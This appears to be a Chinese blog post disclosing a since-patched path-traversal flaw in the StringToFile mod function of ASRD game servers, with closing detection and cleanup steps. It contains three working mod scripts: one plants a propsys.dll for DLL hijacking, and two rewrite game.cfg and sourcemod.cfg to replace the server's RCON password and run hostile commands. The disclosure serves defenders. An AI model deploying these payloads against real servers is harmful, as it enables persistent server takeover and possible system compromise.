利用MOD攻击ASRD服务器,用户
文章目录
此漏洞已经提交给了开发者.开发者已经确认,官方已经更新补丁
我向官方开放人员提交后,已经修复了,现在分享下入侵原理.底部有检测和修复说明
漏洞原因
StringToFile
mod里面这个函数,不限制写入目录,可以向上级,上上级.甚至你系统盘文件里面写内容.
向官方反馈的时候我并没有做的很复杂.只是演示了攻击游戏相关.实际可以严重到攻击系统.
因为你可以写一个bat/vbs/ps1脚本写到开机启动文件夹.
利用1
mod代码如下, 游戏运行这个mod的挑战后,会向游戏目录写入一个propsys.dll
如果是服务器,还会向服务器发送一个重启服务器指令.
重启你的服务器程序,或者客户端程序之后,你会发现无法启动了,会报错.
mod代码
function OnGameplayStart(){
// 1. Dll Hijack :)
//-------------- [vstdlib.dll , tier0.dll , steam_api.dll , version.dll ,ghostinj.dll ] more.....
//-------------- write dll file . Maybe... Try binary files
StringToFile("../../../propsys.dll","test:\nhttps://steamcommunity.com/id/yake1234\n\0");
//--------------is dedicated server
if (IsDedicatedServer()){
//--------------restart server
SendToServerConsole("_restart");
//--------------Shut down the server process
//SendToServerConsole("exit");
}
return;
}
原理
这是DLL劫持.
你可以简单测试.
直接在游戏根目录放一个空的文本改名字 "propsys.dll" .
在游戏根目录放入一个propsys.dll 文件后,你会发现你服务器/客户端无法运行,会报错.除非你删除这个propsys.dll文件
让你游戏,或者服务器只是无法运行意义不大,无法运行也是因为放入的这个DLL这不是标准的二进制文件.
但是,它MOD可以写一个真的dll文件,如果放入一个标准的劫持的二进制文件. 那就是另外一个画面了.能运行.你无感知,甚至可以写入病毒DLL.
你服务器,客户端一运行就会自动加载这个DLL.不影响你原来程序运行情况下,执行恶意代码.这个入侵就不但是游戏级别了,能攻击到系统级.
博文扩展阅读
我之前做过一个劫持DLL生成器 --> [自制软件] DLL自动劫持生成器
软件原理和代码在这篇博文有写 --> 劫持DLL自动注入(delphi)
另外 [简单跳过 微雕管家 授权 无限试用 ] 也是利用这种劫持实现的.
利用2
写入cfg文件,主要用于入侵服务器.(客户端也受影响,不过意义不大.)
漏洞原理
服务器进程运行后会自动执行cfg目录的设置文件
大致顺序如下.
autoexec.cfg -> server.cfg (你开服配置文件) --> game.cfg
game.cfg 载入顺序还是在你开服配置文件后面 ,能覆盖你之前的设置.(服务器名字,rcon密码)
(本来我前面是测试修改autoexec.cfg的,结果发现服务器配置文件在后面,会覆盖.,所以我选了game.cfg)
这个一次入侵,永久生效.除非你发现,手动修改回去.
MOD执行过程
1.读取 game.cfg
2.在 game.cfg 后面插入一行代码 exec hack.cfg 文件.
3.然后将入侵指令写入 hack.cfg
4.MOD发送控制台指令,重启服务器
重启服务器后会自动运行game.cfg文件.
game.cfg 会执行 "exec hack.cfg" 自动加载hack.cfg文件.
后面的设置会覆盖你前面的设置,比如你server.cfg 指定了服务器名字端口,rcon密码.
都会被后加载的hack.cfg覆盖.
这种入侵也是无感知的.
注意拿到你服务器RCON密码后,相当于拿下你服务器.
我下面的代码中,写入的hack.cfg将你服务器rcon密码修改为指定的了.
就可以通过RCON远程控制你服务器.
MOD代码
function OnGameplayStart(){
// 2. Change Autoexec.cfg
//--------------is dedicated server
if (IsDedicatedServer()){
local old_gamecfg_str = null;
//-------------- read old file
old_gamecfg_str = FileToString("../../cfg/game.cfg")
//-------------- add str "exec hack.cfg"
old_gamecfg_str = old_gamecfg_str + "//-----test----\n\nexec hack.cfg\n";
//-------------- write game.cfg file
StringToFile("../../cfg/game.cfg",old_gamecfg_str);
//-------------- write hack.cfg file
//-------------- Change rcon_password
//-------------- hahahahahahhahah
StringToFile("../../cfg/hack.cfg","rcon_password '123123ddd'\n\0");
// it like SendToServerConsole("rcon_password '123123ddd'");
//--------------restart server
SendToServerConsole("_restart");
//--------------Shut down the server process
//SendToServerConsole("exit");
}
return;
}
利用3
这个利用是在2的基础上扩展出来的.
主要入侵有起源mod的服务器.
一般服务器都装了.
而且这个风险比2高.
原理
cfg/sourcemod/sourcemod.cfg 这个目录是起源mod配置文件.
这个是实际命令列表文件.
在每次服务器启动/重启任务/切换地图 的时候会自动加载.并执行里面的指令.
这个权限是超级管理员级别.能支持sm指令.添加管理员,修改服务器参数.
入侵代码只需要在后面加入命令就会永久生效,直到你发现..
mod代码
function OnGameplayStart(){
//--------------is dedicated server
if (IsDedicatedServer()){
// 3. Change sourcemod.cfg
//If the server has sourceMod installed
//-------------- write hack.cfg file
//-------------- Change rcon_password
//--------------
StringToFile("../../cfg/hack.cfg","rcon_password '123123ddd'\n\0");
local old_sourcemod_str = null;
//--------------read old file
old_sourcemod_str = FileToString("../../cfg/sourcemod/sourcemod.cfg")
//--------------add sm_cvar asw_god 1
//--------------add sm_rcon hostname [hack]hahahahaha
//--------------add sm_rcon sm_execcfg hack.cfg
old_sourcemod_str = old_sourcemod_str + "\n\n\n\nsm_cvar asw_god 1\nsm_rcon hostname [hack]hahahahaha\nsm_rcon sm_execcfg hack.cfg\n\0"
//--------------write file
StringToFile("../../cfg/sourcemod/sourcemod.cfg",old_sourcemod_str);
//Restart mission and take effect
Director.RestartMission();
}
return;
}
修复
普通客户端问题不大.主要是服务器端.
官方已经修复这个问题,但是已经被入侵的文件是不会自动还原的,还是需要手动排除下.
这个函数已经很多年了.我相信我肯定不是第一个发现的.
开服时间长的朋友注意了.
我建议早期运行的服务器都检测下几个目录.
1, 游戏根目录,还有bin目录看看有没有奇怪的DLL在里面. (对比你游戏客户端有啥不同.)
2,cfg目录还有 cfg/sourcemod 目录 ,看看设置是不是你原来的设置.
3,看看起源MOD目录 里面管理员设置,是不是加了别人在里面.